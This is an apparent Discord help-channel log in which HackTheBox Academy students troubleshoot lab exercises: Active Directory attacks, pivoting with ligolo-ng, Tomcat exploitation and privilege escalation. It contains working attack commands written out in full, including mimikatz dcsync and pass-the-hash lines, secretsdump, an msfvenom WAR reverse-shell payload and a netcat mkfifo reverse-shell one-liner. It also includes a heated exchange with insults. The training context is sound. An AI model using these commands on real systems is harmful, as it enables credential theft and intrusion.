what's the full command?

[oblique spoke]

lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

[next bronze]

use the hash you got out of it

[oblique spoke]

the NTLM?

[next bronze]

yep, standard pth

[oblique spoke]

can i pth from powershell?

[next bronze]

you have mimikatz don't you?

[oblique spoke]

yes

[next bronze]

use that

[oblique spoke]

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
ERROR kuhl_m_sekurlsa_pth_luid ; memory handle is not KULL_M_MEMORY_TYPE_PROCESS

[analog dock]

@oblique spoke if you have the t* user you can just use secretsdump to get the admin hash

[oblique spoke]

i have that user

[analog dock]

Then you’re good to go

Use secretsdump and winrm to the dc

[novel matrix]

And BAM

[oblique spoke]

with wth user t*?

[analog dock]

[analog dock]

No, secretsdump with t*, then use admin to winrm

[oblique spoke]

then i need to proxychain the whole shit

[analog dock]

Just use ligolo then

[oblique spoke]

ligolo?

[analog dock]

Yes, ligolo

[oblique spoke]

never heard of it 😄

[analog dock]

I recommend you learn that tool

[oblique spoke]

thank you

[eager badger]

Looking for someone who can learn and work on htb stuff together🧐

[analog dock]

It’s more chill than having to proxychains everything

[oblique spoke]

yeah i hate it

😄

[plain coral]

You can also use the administrator hash to create a golden ticket with mimikatz then /ptt

[buoyant drum]

you can dm me

[rustic sage]

@eager badger Sign me up

[tawny bolt]

@eager badger me 2 plz

[next bronze]

they've already gotten the hash though

[analog dock]

If you have the admin hash just winrm to it 🤷🏼‍♂️

[next bronze]

true, but they asked how to pth in powershell so

[next bronze]

there are a lot of ways to do it, winrm, rdp, even smbclient if you just want to access a file

[oblique spoke]

didnt worked,but i liked the idea

and whoami still gioves t* user

[analog dock]

I already set up the ligolo agent for question 4

[oblique spoke]

that was fast as hell

[analog dock]

Yeah I did it to rdp to ms01

[next bronze]

it's just two commands to set up ligolo

[oblique spoke]

i am currently using multi handler and meterpreter

with portforward

[analog dock]

That also works, but it’s slower

Ligolo sets up a tunnel

So quicker to do nmap scans and stuff

And very easy to double pivot

[next bronze]

not sure what you're trying to do here, to make a golden ticket you need krbtgt's hash

there's no need for that if you want to get the last flag, just pth in any way and get access to dc, for example sekurlsa::pth

[oblique spoke]

sekurlsa::pth /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\Administrator /ntlm:

sekurlsa didnt worked

[analog dock]

@oblique spoke just look into ligolo, it’s very easy

[oblique spoke]

im gonna do that thank you

[next bronze]

you need elevated priv to pth with mimikatz, if you don't have admin on the current machine then yeah remote pth with ligolo as 0x56 says

or psexec through proxychains

[oblique spoke]

fuck me

i was tring to do it with the iuser logged in as t*

even tho

😄 sthis is still not working

[next bronze]

^

[oblique spoke]

yeah

[astral roost]

In the module Nessus skills assesment, there is a question (2nd): What was the target for the authenticated scan?

What do they mean with target? OS? IP?

Nvm found the answer. It was soo easy that it's kind of stupid.

[rustic sage]

Hi guys struggling on the Service Scanning module on the last question
List the SMB shares available on the target host. Connect to the available share as the bob user. Once connected, access the folder called 'flag' and submit the contents of the flag.txt file.

I'm able to list the SMB shares using the command: smbclient -L //hostname -U bob

but when I try to specifically check into a smb share to find the flag using the following command smbclient //hostname/share -U bob, i get the following exception:
SMB1 disabled -- no workgroup available

[bright quiver]

question - on the academy dashboard i am only seeing the bug bounty exam voucher...i cannot exchange it for the pentester one...any ideas as to why?

[warped cloak]

Feel like im missing something easy but in LINUX PRIVILEGE ESCALATION - VULNERABLE SERVICES i copied and saved the example Screen_Exploit_POC.sh and tried to run it with "./Screen_Exploit_POC.sh" and i get the error "-bash: ./Screen_Exploit_POC.sh: Permission denied"

[acoustic owl]

You have to give the script rights to execute

chmod + x

[warped cloak]

thank you👍

[solar arch]

for module 218 (Understanding Log Sources & Investigating with Splunk: https://academy.hackthebox.com/module/218) are the timestamps somewhat fucked or what is going on with splunk here?

01:00:00 != 01:43:26?

[junior oxide]

guys i tried in the attacking sql model to login but nothing seems to work i run sqsh sqlcmd even mysql nothing works except mssqlclient and i can't run commands or enumerate databases and do select and show databases commands, is there anything I'm doing wrong ?

[next bronze]

mssql is not mysql, make sure you're using the right commands for the DB type

[urban valley]

just finished AD-Enumeration & Attacks. I feel like I just did a tour in 'Nam

[hot grove]

https://tenor.com/view/leonardo-dicaprio-clapping-clap-applause-amazing-gif-16078907558888063471

[fierce veldt]

I tried this with proxychains and got access denied.

Guess I’ll try it again…

[analog dock]

I just use ligolo🤷🏼‍♂️

Access denied on what though?

[fierce veldt]

Using the t**** user to attempt secretsdump from Kali machine.

I think I was using the wrong IP

I may have been using the DC01 IP

[analog dock]

INLANEFREIGHT/tpetty@172.16.6.3

[fierce veldt]

So you are supposed to use the DC01 IP?

[analog dock]

That’s what I used

[next bronze]

you can only dcsync a DC

it's called DCsync for a reason

[fierce veldt]

Guess mine glitched or something. Also Ligolo looks like the exact same thing as Chisel?

[analog dock]

Ligolo sets up a tunnel

Chisel still requires you to use proxychains afaik

[fierce veldt]

Huh they’re using proxychains in the examples for Ligolo. Weird.

[next bronze]

yep the goal is the same but you don't have to use proxychains. so stuff like ICMP and standard nmap scans work

[tribal rover]

INTRO TO WHITEBOX PENTESTING
Command Execution
I am using sed to insert the code into the app.js at line 17.
I am trying to base64 decode the sed within this require('child_process').execSync('bash here')//" and get it to create a new route.
Any alternative ways to do this?

[analog dock]

Are you sure about that?

[fierce veldt]

Check quick demo on their GitHub page? Not 100% sure.

[analog dock]

https://systemweakness.com/pivoting-for-newbies-with-ligolo-ng-82f13040aa39

[next bronze]

ligolo-ng, not ligolo

[analog dock]

If someone here mentions ligolo, they mean ligolo-ng 99.9% of the time

[fierce veldt]

Guess I’ll have to try it if using Chisel didn’t work for me.

Annoying that I was doing the correct workflow and it wasn’t working.

[analog dock]

Just follow this guide and you’ll be fine

[next bronze]

I highly recommend this guide
https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5

but switching to ligolo is not likely to fix your problem with dcsync

[fierce veldt]

So it should work using chisel? Not sure why the issue is present then… sounds like I’m using the right commands.

I’ll give it another shot in the next hour and report back.

[analog dock]

Let me know how it goes with ligolo

And what’s the pass you’re using for t* user?

[fierce veldt]

The correct one, I got that answer I’m on the last one.

Also the guide from @next bronze may be best since it skips building the proxy and server

[analog dock]

You can just get the binaries from the GitHub page 🤷🏼‍♂️

[next bronze]

chisel works with dcsync, so that's not likely the issue

[fierce veldt]

Yeah I may have been too sleepy last I tried.

Glad I was on the right track though.

[oblique spoke]

Why there is no output 😄 this thing is getting on my nerves

fuck this shit 😄

[next bronze]

use -debug with secrets dump and see it's doing

[oblique spoke]

+] Exiting NTDSHashes.dump() because rpc_s_access_denied

what

[next bronze]

try with '<Domain>/<Username>:<Password>@<dc>'

[oblique spoke]

yeah

worked

[midnight coyote]

hi

[next bronze]

you probably entered the password wrong then

[oblique spoke]

the ip

this helped <dc>, bc i was like what i need to give the dc not the other

[next bronze]

yes you're doing DCsync

[oblique spoke]

im an idiot but i learned a lot today thank you ❤️

[analog dock]

We already told you the ip

[oblique spoke]

can be 😄

[analog dock]

Here🙃

[oblique spoke]

im an idiot

[upper cove]

guys idk where i should ask this question so i'll do it here pardon me.

whats hackthebox font?

[fathom pendant]

?

You mean the font on htb academy?

[upper cove]

ye

[fathom pendant]

Use dev-tools/inspector

[fathom pendant]

Looks to be neue-haas-unica, sans-serif

¯_(ツ)_/¯

[upper cove]

ok tyy

[unreal granite]

hi everyone i would need some help here. iam at the https://academy.hackthebox.com/module/158/section/1426#questionsDiv section and i have a question about the proxychain.conf file . iam using kali linux . but when i try to run the commands in the module i get this [proxychains] DLL init: proxychains-ng 4.16. Has someone encounterd something like this before ? i cannot pivot to any machines.

[fathom pendant]

proxychains4.conf

[unreal granite]

yes sir i tried that instead too still just getting timeouts

[fathom pendant]

Do you have the pivot running the required port to proxy?

[naive wadi]

can I get a nudge for the initial injection point for SQLMap Skills Assessment?

Or just a hint, been over this site what feels like a million times and can't see it

[fathom pendant]

I.e. do you still have the ssh session running

[unreal granite]

yes

[lusty thicket]

intercept the request when adding an item to cart

[naive wadi]

thank you

[naive wadi]

I did try this before but nothing happened. Now after trying it for 10 times on the same item it finally worked. Thanks

[wanton jasper]

Im losing my mind on AD Enumeration & Attacks - Skills Assessment Part I Q6: Submit this user's cleartext password. I found the user and the hash but I cannot crack it

[lusty thicket]

strange

[lusty thicket]

you don’t need to crack it

[naive wadi]

I just thought it was intentional, as in only the certain things functioned on the site intentionally as it's just for testing. Turns out just jank

[wanton jasper]

What do I need to do then? Its asking for clear text?

[fathom pendant]

find other ways to dump it?

[lusty thicket]

the users pass has been stored insecurely

😉

[wanton jasper]

ok I found another way to dump and got clear text but there is nothing tying it to the user I found? Is this supposed to just be a pw reuse attempt?

[analog dock]

Uh it just says the user and pass afaik

At least with secretsdump

[wanton jasper]

hmm can I dm you and show you how I did it and maybe see how you did it? @analog dock

[analog dock]

I just used this

[tight mesa]

hi there, any hint about how to obtain the shell for the initial access to target machine into LPE Assessment?

so far I had enumerated the server and I found a Tomcat server {/manager & host-manager} are accessible but not common creds are configured, I tried with no success a login enum via MSF module

also, I ran a nmap script scan with no valuable info

[lusty thicket]

common creds got me initial access😉

[tight mesa]

no way, did u use the HackTricks?

[lusty thicket]

no i did not

[tight mesa]

ok.

[final mica]

linux priv esc/skills assessment is it possible to get flag5 using tomcat?

[tight mesa]

dude, I'm using these creds, https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown with no success....

how long did u do the assessment?, could be those creds had being changed?

[final mica]

how long have i been doing the assessment?

pretty sure creds dont get changed

[tight mesa]

sorry I was asking to Wnted...

[lusty thicket]

same

didn’t bruteforce tomcat btw

[tight mesa]

holly molly

ok.

moving to manual, thz

[next bronze]

creds search tomcat

[tight mesa]

I did it manually 1 by 1 and none of them worked for me

[tiny mauve]

I'm not sure how to get to that

[final mica]

linux priv esc/skills assessment...
msf6 exploit(multi/http/tomcat_mgr_deploy)
[-] Execution failed on HSrpydkGb [500 ]

I also get 500 error when i upload war file onto tomcat... help please

[shut wraith]

SERVER-SIDE ATTACKS

Blind SSRF Exploitation Example

The target is vulnerable to blind SSRF. Leverage this blind SSRF vulnerability to interact with internal.app.local and achieve remote code execution against the internal service listening on port 5000, as you did in the previous section. Submit the kernel release number as your answer (Answer format: X.X.X-XX)

I can't solve this in the way that the module describes because it doesn't contain the same web app or anything similar. It literally contains the web page of the previous section "Bad App"

Can anyone help?

[frosty tartan]

echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14,110 1234 > /tmp/f" >> monitor.sh can anyone please help me walkthrough and understand what this code snippet for python reverse shell is doing? is this even the correct way to do it for nibbles.?sorry im a script kiddy

[fathom pendant]

this isn't a python revshell, it's bash

[frosty tartan]

im using python shell to enter thi into monitor.sh file

but yes im sry that was invcorrect

[thorn urchin]

doesnt matter

[frosty tartan]

will it work with ncat?

[fathom pendant]

you're not really using a python shell - python was just used to give you a more interactive environemtn

[frosty tartan]

right

[fathom pendant]

there's a comma instead of a period

10.10.14,110

[frosty tartan]

i caught that in my attempts when i added my ip and port

but it still didnt work

i copied this from a website that was a walkthrough

the best one ive seen and used but still

[fathom pendant]

do you mean the nibbles walkthrough from the getting-started module?

[frosty tartan]

yes

thats where im at

[fathom pendant]

ok so a semicolon indicates the end of a set of commands

you can do man <command> to find out what each individual command does

[frosty tartan]

oh okay! i didnt think of that

[fathom pendant]

but in short: it creates a pipeline that's redirected to a privileged bash shell which then connects to your IP at PORT (2>&1 is a bash redirect stderr+stdout iirc)

the >> appends it to the monitor.sh (a bash file)

[frosty tartan]

when i add this to monitor.sh does that activate it? bc i have my terminal set nc -nlvp <PORT> and nothing happens

[fathom pendant]

are you already using that port for your initial connection?

if so you'll need to adjust the port

:)

[frosty tartan]

hmm idk it was port 1234

[fathom pendant]

"it was" don't just copy/paste

[frosty tartan]

i understand

[fathom pendant]

for your initial connection command to the user: did you listen on 1234

if so you'll need to adjust the port on your revshell command to listen on a different port

[frosty tartan]

i dont know ill have to do it all again and be mindful of ports. but now i know where i could have gone wrong

[fathom pendant]

nc ip port

[frosty tartan]

thank you

[fathom pendant]

that's the basic schema of netcat

[frosty tartan]

nc ip port?

[fathom pendant]

for using netcat (nc) to connect to a port you provide it 2 arguments; an IP and a PORT

[frosty tartan]

gotcha. these walkthrough use shortcuts that convalute whats going on

[fathom pendant]

the getting-started module isn't really going to teach you a whole bunch

it's just to get your feet wet

[frosty tartan]

its really frustrated me

[fathom pendant]

but tbh you should do the Information Security Foundations Path or at least Linux Fundamentals

[frosty tartan]

i understand all of it but i just dont get results from th terminal

i am doing linux fundamentals. almost done and i really enjoyed that module

i plan on getting into soc analyst stuff

[fathom pendant]

this is what that module is expecting as pre-requisites

[frosty tartan]

i got some of those completed ill go back and see which ones i dont

[fathom pendant]

btw you need to run monitor.sh as sudo

:)

[frosty tartan]

so sudo echo etc...

[fathom pendant]

no

[frosty tartan]

sudo -l?

[fathom pendant]

sudo ./monitor.sh

[frosty tartan]

ahhhh!

i get it

that was not in the walkthrough

[fathom pendant]

i assure you it is

[frosty tartan]

ok let me reread it

[fathom pendant]

it's right after it tells you to echo the command

[frosty tartan]

it shows he got access to the root before he sudos

[fathom pendant]

nope

[frosty tartan]

gotcha

[fathom pendant]

he did not have access to root before sudo

[frosty tartan]

gotcha

im excited im gonna get this nopw\

[fathom pendant]

sudo -l lists all commands that the user can run with sudo privs

[frosty tartan]

so you have to run monitor.sh with the echo in it

[fathom pendant]

do me a favor

after doing the echo... >> monitor.sh

[frosty tartan]

ok

[fathom pendant]

do tail -n 3 monitor.sh

and you'll see the command added at the end

[frosty tartan]

ok

[fathom pendant]

after that it's really just as simple as sudo monitor.sh

[frosty tartan]

it makes perfect sense

i knw there was somehting i was missing. thank you for the help

[fathom pendant]

you just had the puzzle piece upside-down

there's a SOC Analyst Pre-requisite path btw

[midnight coyote]

whats better nmap or metaspooit and for what do people use such as programs ?

[fathom pendant]

they both perform functionally different things

nmap is good for general querying of an IP for common (or all) ports
metasploit is just basically a repository of known exploits for existing CVEs and such

(there's a fair bit more you can do)

but for the most part msfconsole is mostly used by people who don't care to read how a PoC exploit works

[frosty tartan]

im excited about sherlock in the future after this path is completed further

[midnight coyote]

what are cves ?

[fathom pendant]

use google

this channel is for assistance with academy modules; not general chatter

[midnight coyote]

sry

[fathom pendant]

if you want a gen chat read #welcome on how to access to more of the server

[midnight coyote]

alrighr thanks

[final mica]

msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit

[-] Execution failed on cGGZnd5T2T4iiCj92n15 [500 ]
anyone know whow to fix this? I cant find one

[fathom pendant]

make sure your options are set correctly

is this the Shells/Payloads live engagement?

[final mica]

i tried my options every which way

this is for flag5 in linux priv esc/ skills assessment

[fathom pendant]

ah

haven't touched that yet ¯_(ツ)_/¯

[final mica]

😦

[fathom pendant]

500 error is odd though

[final mica]

i get it when i run my war file in tomcat

and in msf

[next bronze]

do it yourself, much easier and less things can go wrong

[fathom pendant]

then you might need to use a diff vpn region; could just be that it's being dumb - are you using pwnbox or your own vm

[final mica]

my own

iv run out forums to read and try

[next bronze]

have you tried logging on to tomcal in the browser?

[final mica]

yes

im logged in

uploaded war file

warfile gives 500 or 404 error

[next bronze]

are you catching it with a listener

[final mica]

yes

nothing

[next bronze]

are the lhost and ports right?

[final mica]

RHOSTS 10.129.134.239 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)

LHOST 10.10.15.40 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

[next bronze]

wait are you doing it through metasploit or through the browser?

[final mica]

doing both

both wont work

i can get a rev shell on tomcat but i can upgrade it

[fathom pendant]

can get a revshell

[final mica]

to escalate to root so im using msf to rev shell

[analog dock]

If you can get a revshell what’s the problem

[fathom pendant]

^

[final mica]

webshell

[fathom pendant]

using msf won't magically make it an escalated shell

[analog dock]

It’s not like msf will magically give you root

[next bronze]

upgrade it as in upgrading to meterpreter?

[final mica]

i have a webshell on tomcat and can use commands like cat and ls

but nothing else works

[analog dock]

Do you have a web shell or a revshell

[final mica]

webshell

[lusty thicket]

https://tenor.com/view/do-something-comeon-stickman-bored-gif-22722853

[analog dock]

Why don’t you just upload a revshell?

[final mica]

i think i did

msfvenom -p java/shell_reverse_tcp lhost=10.10.15.40 lport=4321 -f war -o pwn.war

[analog dock]

If you think you did it wouldn’t be a web shell would it

And you set up a listener and then go to there?

And you get a call back?

[final mica]

okay i think i missed something, let me try thanks

[analog dock]

??

Your payload is a revshell, not a webshell

[next bronze]

I am actually confused

[analog dock]

If you set up a listener and get a callback when you browse to it, it’s a revshell

[fathom pendant]

this revshell is incorrect

java/jsp_shell_reverse_tcp

incorrect payload == skill issue

i had to double-check with the example from the shells & payloads module

[final mica]

thanks 🙂

[fathom pendant]

but as soon as i saw the payload option it just didn't look right to me lol

[analog dock]

Common applications literally gives the msfvenom command

[fathom pendant]

¯_(ツ)_/¯

[analog dock]

Yeah something was off

[fathom pendant]

i was like that looks almost correct

[final mica]

thanks

[fathom pendant]

i just couldn't remember if it was java/jsp/shell_reverse_tcp or java/jsp_shell_reverse_tcp

[final mica]

brain is fried

[fathom pendant]

the reason it ticked me was the fact that it's Tomcat

which uses well, jsp

[analog dock]

Yeah I knew the payload was literally in the attacking tomcat section from attacking common applications

[fathom pendant]

neat: i just referred to shells/payloads since the live engagement has something similar

[fierce veldt]

@analog dock

Using INLANEFREIGHT.LOCAL as the domain could this be the issue?

[next bronze]

are you entering the user and pass right?

[fierce veldt]

I am copying and pasting the pass I will check user...

[analog dock]

I use secretsdump.py, not sure if that makes a difference, but it seems like your login is invalid so perhaps you don’t paste the pass correctly

[next bronze]

you can use '<Domain>/<Username>:<Password>@<dc>'

[fierce veldt]

Okay, I will try when I try secretsdump.py it throws errors bc of my python setup

[solid python]

This path is completed

[fathom pendant]

I think they meant when they get further in the path?

[solid python]

Ahh

[fathom pendant]

But it can be vague in this case

[fierce veldt]

@next bronze is it not the same cleartext password found earlier in the module?

[next bronze]

ah

[analog dock]

Try putting it in '

[next bronze]

use forward slash, backslash is an escapte character in bash

[analog dock]

The pass

[next bronze]

that too

[fierce veldt]

Okie dokie, pray for me! lol

[next bronze]

you're actually passing INLANERIGHT.LOCALt*** as the user

[fierce veldt]

Thanks guys huge help

Escape characters are the bane of my existence this is not the first time

Could I have used '\' as well?

[fathom pendant]

You'd need to double it

[fierce veldt]

omg Discord just cancelled it i mean two backslashes in a row

[next bronze]

yes 2 of them works edit: no it doesn't

[fathom pendant]

Yeah discord uses markdown and \ is an escape character

It's how I get away with telling people to wrap things in backticks
`like this`
like this

[next bronze]

I don't think impacket does \\, you need to use /

[fierce veldt]

I have a 60% keyboard and backticks are not working right now which is a brand new issue lol

[sly dome]

things like an user being able to run as sudo openssl are considered a flaw?

do we have to report them?

[fathom pendant]

¯_(ツ)_/¯

[sly dome]

because the real flaw was the RCE to get there

[next bronze]

I wouldn't but it depends

[sly dome]

on what

[solid python]

Defense in depth methodology

Just because something isn't exploitable without an attack chain to get to that point doesn't mean it shouldn't get fixed

[sly dome]

some remediation note

would be enough

[solid python]

The room across from me is on fire, but my door is closed and I'm not in that room so it's not a problem.

🔥 🚪

[shut wraith]

SERVER-SIDE ATTACKS

Blind SSRF Exploitation Example

The target is vulnerable to blind SSRF. Leverage this blind SSRF vulnerability to interact with internal.app.local and achieve remote code execution against the internal service listening on port 5000, as you did in the previous section. Submit the kernel release number as your answer (Answer format: X.X.X-XX)
I can't solve this in the way that the module describes because it doesn't contain the same web app or anything similar. It literally contains the web page of the previous section "Bad App"

Can anyone help?

[rustic quiver]

Guys im doing the dancing starting point box and i'm at the very end, i'm following the walkthrough completely and it wont work, it either says I dont have enough

[fathom pendant]

#starting-point read #welcome to find out how to access

[rustic quiver]

The first channel it says I dont have access to it

[fathom pendant]

Hence the second part of my message

Reading comprehension is hard, I know

[fierce veldt]

@next bronze I tried this to get the admin flag but it's still the flag for MS01. Is this not the right way to do it I am guessing?

[next bronze]

dc01 is not the domain, where are you running mimikatz on?

[fierce veldt]

I am running it on the MS01 machine

[next bronze]

when you use ::pth with mimikatz, it opens another terminal with the user you pth as, but the terminal is still running in the same machine, just that the user is different, you don't just magically get a shell on another computer

[fierce veldt]

Okay I should use psexec then?

[next bronze]

but since the user is different, you can PSremote, or access the smb as that user to a remote machine, DC, in this case

[analog dock]

You’re on the last question?

[fierce veldt]

Yes

[analog dock]

You got the hash from secretsdump, why don’t you just proxychains evilwinrm

[rustic quiver]

I misunderstood so you have to be a stuck up lil bitch about it? okay

[fierce veldt]

I will try that or @next bronze tip, thanks!

[next bronze]

there are many ways to do things in AD

[analog dock]

You misunderstood him literally saying ‘read #welcome to find out how to access’?

[fierce veldt]

You sound like the stuckup bitch thinking you know everything loser

[analog dock]

True that

[thorn urchin]

ego so fragile gunna cry about having to read

[fathom pendant]

Don't need to be so hostile my guy.

[thorn urchin]

wah wah

[fathom pendant]

But I get it, Woman bad, REEEEEEE

[rustic quiver]

You came for me first and since I said something back I did it because you're a woman? And my comprehension skills are bad?

[analog dock]

Oh boy

[rustic quiver]

What did you expect, for me to just let you insult me? nahh

[fierce veldt]

timothy doesn't get enough attention at home 😢

[thorn urchin]

if youre this thin skin consider a different field. It requires higher mental fortitude than this

[analog dock]

You were the one insulting

[fathom pendant]

Because my initial comment explained how to find out how to access the "no access" channel

[thorn urchin]

yes

[fierce veldt]

This guy must have a Security+ cert knowing so much lol

[fathom pendant]

I have given people shit for less

[thorn urchin]

https://tenor.com/view/mujikcboro-seriymujik-gif-24361533

[rustic quiver]

so let me get this straight, in this field if someone insults you you're supposed to just let them?

[analog dock]

Yes, if you’re the one being dumb

[fierce veldt]

If you're too incompetent to follow directions then yes

[fathom pendant]

@thorn urchin can you take my CPTS for me I'm lazy

[fathom pendant]

Usually if I'm calling you out. It's for a reason: in this case, you didn't read the whole message

[next bronze]

who even insulted you? saying reading comprehension is hard is an insult?

[thorn urchin]

when you were the one in the wrong? Yeah pretty much.

[fathom pendant]

99.9999% of the time I'll just say skill issue

[thorn urchin]

You literally could have just gone 'oh whoops my mistake. thanks' and everything would have been fine

[fathom pendant]

ParrotSec Discord regarding kernel panic on upgrading from 5.3 to 6.x

When the solution is literally pinned

Palinuro is working on a fix for architect getting stuck on install

[rustic quiver]

And she literally could've just said "Hence the second part of my message" and I would've recognized my mistake and went on with my day, which I was going to do until she decided to come for me

[analog dock]

Cry more

[fierce veldt]

You're going to have it rough in here from now on. Are you glad you disrespected people that can help you?

[fathom pendant]

It's called poking fun, I expect people to give me the same level of shit when I miss the obvious

[next bronze]

relax my guy, we do dumb things all the time, trying to fight people who pointed it out is not the way to go

[thorn urchin]

You cant live in this industry with such a sensitive ego. Youll do nothing but encounter enemies that coulda been friends

[fathom pendant]

I.e. 'but why are you trying to remote... is that the question?"

[analog dock]

But you decided to come for me!!

[fathom pendant]

When the question was just "authenticate"

[thorn urchin]

All this shit is off topic anyways

[fathom pendant]

I fail to read things, often

[thorn urchin]

timothy needs to just read #welcome and move on

[rustic quiver]

Alright Marcie, I aplogize for calling you a bitch. I didnt see it as poking fun because i'm used to defending myself

[thorn urchin]

See wasnt hard

[rustic quiver]

when people say similar things

[fathom pendant]

Anyway f0x take my exam for me, I'll pay you in 2 pennies

[thorn urchin]

No

[fathom pendant]

3?

[thorn urchin]

3 pennies

[fathom pendant]

Sweet I got that much at least

[analog dock]

I’m Ronnie Pickering!!!

[thorn urchin]

read my writeup: https://0xfa7e.github.io/post/cpts-vs-oscp/

[fathom pendant]

https://tenor.com/view/read-my-book-damon-dominique-read-it-my-book-author-gif-17902046

[thorn urchin]

(I was referencing the guy that wanted to ask about my 'writeup' when he meant blog)

[fathom pendant]

Nice writeup, Public, bold

[fierce veldt]

evilwinrm is magic

[analog dock]

Got it?

[fierce veldt]

Yeah I tried another way but it was very complex whereas EvilWinRM was so simple

Will probably look into the other ways just for knowledge but for now I am moving on lol

[next bronze]

there's an even simpler way

nxc smb ip -u user -p pass -x 'type C:\flag.txt'

[fierce veldt]

But I don't have pass? Would I use the t*** user?

[next bronze]

-H hash

[fierce veldt]

Wowza, passing the hash is truly mind blowing!

[next bronze]

an ntlm hash is as good as a password in most situations

[fierce veldt]

That's really what I've had to realize with that last question. Thought I'd have to make a golden ticket and all this stuff just to use PSexec. I am sure that's not true as well?

[next bronze]

btw for this it should just be
type \\dc-ip\C$\flag.txt
once you pth with mimikatz

[fierce veldt]

Ah I tried that but I was using DC01.INLANEFREIGHT.LOCAL instead of IP

[next bronze]

golden ticket is for stealth and persistence, you can pth with psexec

[next bronze]

that should work, inside the domain you just need the hostname, so DC01

[fierce veldt]

I was also trying to use 'ls' which is probably why I abandoned that route. Stupidly didn't consider that it was a windows machine.

[next bronze]

ls works for powershell, just switch to that

[fierce veldt]

Oh it's because I was in CMD when I did ::pth

is there a way to get it to spawn powershell instead of CMD?

[next bronze]

you literately just type powershell and enter

[fathom pendant]

^

[next bronze]

and vice versa

[fierce veldt]

LOL, I just accepted defeat right at the finish line

[next bronze]

dw there's still skills assessment 2

[fierce veldt]

Yeah super excited for that one.

[next bronze]

try using ligolo for that

[fierce veldt]

My only question is the only benefit of Ligolo that you don't have to configure proxychains?

And then you don't have to use proxychains for every command?

[thorn urchin]

I wouldnt say thats the only benefit

[next bronze]

yes, you can also use ICMP and normal nmap through it, and it makes it very easy to set up reverse shells

[analog dock]

It’s way faster

Very simple to set up as well

[thorn urchin]

its also a complete dream for doing double pivots too

like feels like magic

[analog dock]

Double triple etc it’s all so simple

Definitely learn it

[next bronze]

yep ligolo is so damn good

[analog dock]

Id go back to the pivoting skills assessment, it’s a great place to learn it

[fierce veldt]

Yeah mistakenly thought I could set the CPTS course aside for a bit while I wrapped up college but now I realize I should have powered through.

[thorn urchin]

knowledge decay is unreal

[fathom pendant]

Can't decay in knowledge if I have none

(My main reason for no decay is assisting here)

[fierce veldt]

Yeah my work doesn't let me use any of these skills so they just disappeared. Sayonara!

[next bronze]

also take notes, makes it much easier to remember and refer back to things

[fierce veldt]

When my antivirus isn't blocking all my notes LOL. Solved that issue but was a headache

[fathom pendant]

Fun fact: for a few months, I was using my notes to assist, solely

[fathom pendant]

Add your notes folder to exceptions

[next bronze]

yeah there's no way to remember all the things

[fathom pendant]

Me: waiting for @quiet heart to finish typing

[analog dock]

Yeah notes is very helpful to retain knowledge, especially if you use them to help here

Writing an essay

[next bronze]

@quiet heart if your messages are getting deleted go verify first #welcome

[fathom pendant]

^

Likely a large code block which automod just detects as spam for unlinked users

Or a whole bunch of text

[analog dock]

Or just a .

[quiet heart]

yes i see MEE6 bot send to me: @quiet heart, don't send the same message over and over again! :ANGRY6:

[fathom pendant]

Verify your account following #welcome

[marsh echo]

hello for https://academy.hackthebox.com/module/19/section/108 I'm confused, which indicator should the CVE list?

[fathom pendant]

?

[lusty thicket]

cve list?

[marsh echo]

i find it but this is not the answer

[fathom pendant]

CVEs have nothing to do with this exercise

[fierce veldt]

Yeah you're looking for a flag using NMAP

[lusty thicket]

i wonder why

[fathom pendant]

That CVE is a DoS attack

[marsh echo]

when I said cve list I meant this

[fathom pendant]

Aka out of scope

CVEs aren't important for this

[marsh echo]

okay

[fierce veldt]

Yeah you're focused on using nmap to look for a HTB flag

[fathom pendant]

^ /robots.txt is usually a good look too

[marsh echo]

/robots.txt

[fathom pendant]

http://ip/robots.txt

I forget which script it is in Nmap that pulls it

[marsh echo]

ah but it's it's the previous flag, isn't it, that we find when intercepting traffic?

[fathom pendant]

No?